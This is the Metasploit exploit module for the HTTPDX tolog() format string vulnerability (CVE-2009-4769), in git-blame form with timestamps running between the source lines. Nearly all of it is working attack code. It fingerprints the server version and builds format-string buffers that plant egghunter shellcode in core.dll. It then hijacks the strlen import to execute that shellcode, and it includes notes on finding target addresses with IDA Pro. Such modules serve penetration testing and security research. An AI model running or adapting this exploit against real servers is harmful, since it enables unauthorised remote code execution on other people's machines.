2010-02-07 21:42:12 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-07 21:42:12 +00:00
|
|
|
##
|
|
|
|
|
2009-11-18 02:29:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Egghunter
|
|
|
|
include Msf::Exploit::FormatString
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a format string vulnerability in HTTPDX HTTP server.
|
|
|
|
By sending an specially crafted HTTP request containing format specifiers, an
|
|
|
|
attacker can corrupt memory and execute arbitrary code.
|
|
|
|
|
|
|
|
By default logging is off for HTTP, but enabled for the 'moderator' user
|
|
|
|
via FTP.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'jduck' # original discovery and metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-4769' ],
|
|
|
|
[ 'OSVDB', '60182' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
# format string max length
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c",
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
'StackAdjustment' => -1500
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
#
|
|
|
|
# Automatic targeting via fingerprinting
|
|
|
|
#
|
|
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
|
|
|
|
|
|
|
#
|
|
|
|
# specific targets
|
|
|
|
#
|
|
|
|
[ 'httpdx 1.4 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.5 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.6 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.4.6b - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'httpdx 1.5 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0x64f87810, # empty space in core.dll imports
|
|
|
|
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
#
|
|
|
|
# Debugging target
|
|
|
|
#
|
|
|
|
[ 'Debug target',
|
|
|
|
{
|
|
|
|
'PadBytes' => 2,
|
|
|
|
'NumPops' => 22,
|
|
|
|
'Writable' => 0xfeedfed5,
|
|
|
|
'FlowHook' => 0xdeadbeef
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 17 2009'))
|
2009-11-18 02:29:37 +00:00
|
|
|
=begin
|
|
|
|
|
|
|
|
NOTE: Even though all targets have the same addresses now, future targets may not.
|
|
|
|
|
|
|
|
To find a target:
|
|
|
|
|
|
|
|
1. open "core.dll" in IDA Pro
|
|
|
|
2. navigate to the "c_wildcmp" function
|
|
|
|
3. follow the xref to the first strlen
|
|
|
|
4. follow the xref to the imports area
|
2010-02-07 21:42:12 +00:00
|
|
|
5. copy/paste the address
|
2009-11-18 02:29:37 +00:00
|
|
|
6. the 'Writable' value should be anything after the last address IDA shows..
|
2009-11-19 03:36:02 +00:00
|
|
|
(preferably something above 0x0d, to avoid bad chars)
|
2009-11-18 02:29:37 +00:00
|
|
|
|
|
|
|
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
|
|
|
For now, that will have to be done manually.
|
|
|
|
|
|
|
|
=end
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
version = get_version
|
|
|
|
if version
|
|
|
|
print_status("HTTPDX version detected : #{version}")
|
|
|
|
if (version =~ /1\.4/) or (version == "1.5")
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# an empty host header gives us 512 bytes in the client structure
|
|
|
|
# (the client->filereq and client->host buffers are adjacement in memory)
|
|
|
|
datastore['VHOST'] = ''
|
2010-07-07 01:22:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Use a copy of the target
|
|
|
|
mytarget = target
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (target['auto'])
|
|
|
|
mytarget = nil
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Automatically detecting the target...")
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
version = get_version
|
|
|
|
if not version
|
|
|
|
fail_with(Failure::Unknown, "The server doesn't appear to be running a vulnerable version of HTTPDX")
|
|
|
|
end
|
2009-11-18 02:29:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
re = Regexp.new(Regexp.escape(version)+' - ', true)
|
|
|
|
self.targets.each do |t|
|
|
|
|
if (re.match(t.name))
|
|
|
|
mytarget = t
|
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (not mytarget)
|
|
|
|
fail_with(Failure::Unknown, 'Unable to automatically detect exploitation parameters')
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Selected Target: #{mytarget.name}")
|
|
|
|
else
|
|
|
|
print_status("Trying target #{mytarget.name}...")
|
|
|
|
end
|
2009-11-18 02:29:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# proceed with chosen target...
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
|
|
|
|
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
|
|
|
|
num_start = ip_length + 2 + 29 + 3 + 3 + 2
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# use the egghunter!
|
|
|
|
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
2009-11-18 02:29:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# write shellcode to 'writable' (all at once)
|
|
|
|
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
|
|
|
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
|
|
|
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
send_request_raw({ 'uri' => fmtbuf })
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# write 'writable' addr to flowhook (execute shellcode)
|
|
|
|
# NOTE: the resulting two writes must be done at the same time
|
|
|
|
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
|
|
|
|
# add payload to the end
|
|
|
|
fmtbuf << eh_egg
|
|
|
|
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
|
|
|
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
send_request_raw({ 'uri' => fmtbuf })
|
|
|
|
disconnect
|
2009-11-18 02:29:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# connect again to trigger shellcode
|
|
|
|
select(nil, nil, nil, 1.5)
|
|
|
|
print_status(" triggering shellcode now")
|
|
|
|
print_status("Please be patient, the egg hunter may take a while...")
|
|
|
|
connect
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def get_version
|
|
|
|
info = http_fingerprint # Custom version extraction / automatic target
|
|
|
|
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
|
|
|
return $1
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
2010-02-07 21:42:12 +00:00
|
|
|
|
2009-11-18 02:29:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
|
|
|
|
also present in 1.5 (presumably all versions in between)
|
|
|
|
|
|
|
|
1.4/httpdx_src/ftp.cpp:
|
|
|
|
|
|
|
|
544 //printf(out);
|
|
|
|
545 char af[MAX] = {0};
|
|
|
|
546 if(isset(out) && client->serve.log || client->serve.debug)
|
|
|
|
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
|
|
|
|
548 if(isset(out) && client->serve.log)
|
|
|
|
549 tolog(client->serve.accessl,af);
|
|
|
|
550 if(isset(out) && client->serve.debug)
|
|
|
|
551 printf(af);
|
|
|
|
|
|
|
|
1.4/httpdx_src/http.cpp:
|
|
|
|
|
|
|
|
172 char af[MAX] = {0};
|
|
|
|
173 if(client.serve.log || client.serve.debug)
|
|
|
|
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
|
|
|
|
175 if(client.serve.log)
|
|
|
|
176 tolog(client.serve.accessl,af);
|
|
|
|
177 if(client.serve.debug)
|
|
|
|
178 printf(af);
|
|
|
|
|
|
|
|
=end
|